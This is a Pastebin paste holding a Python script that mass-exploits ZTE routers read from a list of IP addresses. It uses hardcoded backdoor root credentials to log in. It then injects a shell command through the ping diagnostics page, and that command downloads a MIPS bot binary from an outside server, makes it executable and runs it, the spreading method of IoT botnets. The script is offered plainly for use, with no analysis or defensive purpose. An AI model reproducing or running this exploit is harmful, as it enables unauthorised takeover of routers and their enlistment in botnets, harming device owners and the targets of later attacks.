Advertisement
bbccddff

fff

Nov 1st, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, socket, subprocess, re, os, base64, struct, array, requests
  3. from threading import Thread
  4. from time import sleep
  5. import requests
  6. from requests.auth import HTTPDigestAuth
  7. from decimal import *
  8. ips = open(sys.argv[1], "r").readlines()
  9.  
  10. login_payload = "Frm_Logintoken=4&Username=root&Password=W%21n0%26oO7."
  11. command_payload = "&Host=;$(cd /tmp;wget http://ip/bins/bins.mips; chmod 777 bins.mips; ./bins.mips zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit"
  12.  
  13. def run(cmd):
  14. subprocess.call(cmd, shell=True)
  15.  
  16. class rtek(threading.Thread):
  17. def __init__ (self, ip):
  18. threading.Thread.__init__(self)
  19. self.ip = str(ip).rstrip('\n')
  20. def run(self):
  21. try:
  22. print "[ZTE] Loading - " + self.ip
  23. url = "http://" + self.ip + ":8083/login.gch"
  24. url2 = "http://" + self.ip + ":8083/manager_dev_ping_t.gch"
  25. url3 = "http://" + self.ip + ":8083/getpage.gch?pid=1001&logout=1"
  26.  
  27. requests.post(url, timeout=3, data=login_payload) # bypass auth with backdoor
  28. requests.post(url2, timeout=2.5, data=command_payload) # command injection in ping function
  29. requests.get(url3, timeout=2.5) # logout so we dont keep the session open (it happens and its annoying)
  30.  
  31. except Exception as e:
  32. pass
  33. for ip in ips:
  34. try:
  35. n = rtek(ip)
  36. n.start()
  37. time.sleep(0.03)
  38. except:
  39. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement